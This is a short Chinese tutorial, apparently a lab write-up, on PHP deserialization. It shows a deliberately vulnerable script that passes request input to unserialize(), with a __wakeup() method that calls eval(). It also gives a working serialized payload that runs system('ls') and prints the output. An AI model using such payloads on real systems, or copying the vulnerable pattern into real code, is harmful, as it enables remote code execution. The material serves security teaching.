背景

反序列化是将序列化的数据转换回其原始形式的过程。序列化是将数据结构或对象状态转换为可以存储或传输的格式的过程,这样在需要的时候可以通过反序列化恢复到原始状态。

反序列化常常用于例如通过网络接收对象状态等等场景。

如果修改序列化的数据,以改变反序列化后的对象状态。这可能导致任意代码执行等安全问题。

例如,在PHP中,如果使用**unserialize()**函数处理用户提供的数据,可能会导致反序列化漏洞。当提供一个包含恶意对象的序列化字符串,这个字符串被反序列化时,恶意对象的__wakeup()__destruct()方法可能会被触发,从而执行攻击者的代码。

源码

<?php

class Aries
{
var $command;

function execute()
{
printf("%s\n", __METHOD__);
eval($this->command);
}

function __wakeup()
{
printf("%s\n", __METHOD__);
$this->execute();
}
}

if (isset($_REQUEST['Aries'])) {
unserialize($_REQUEST['Aries']);
} else echo "系统检测发现该处漏洞,进行攻击测试\n";
?>

POC

<?php

class Aries
{
var $command="system('ls');";
}

echo serialize(new Aries());
O:5:"Aries":1:{s:7:"command";s:13:"system('ls');";}

传入payload ,得到

Aries::__wakeup
Aries::execute
assert
index.php
module

payload 被反序列化,触发Aries 类的 wakeup 方法,进而执行execute() 方法,最终得以执行危险方法eval()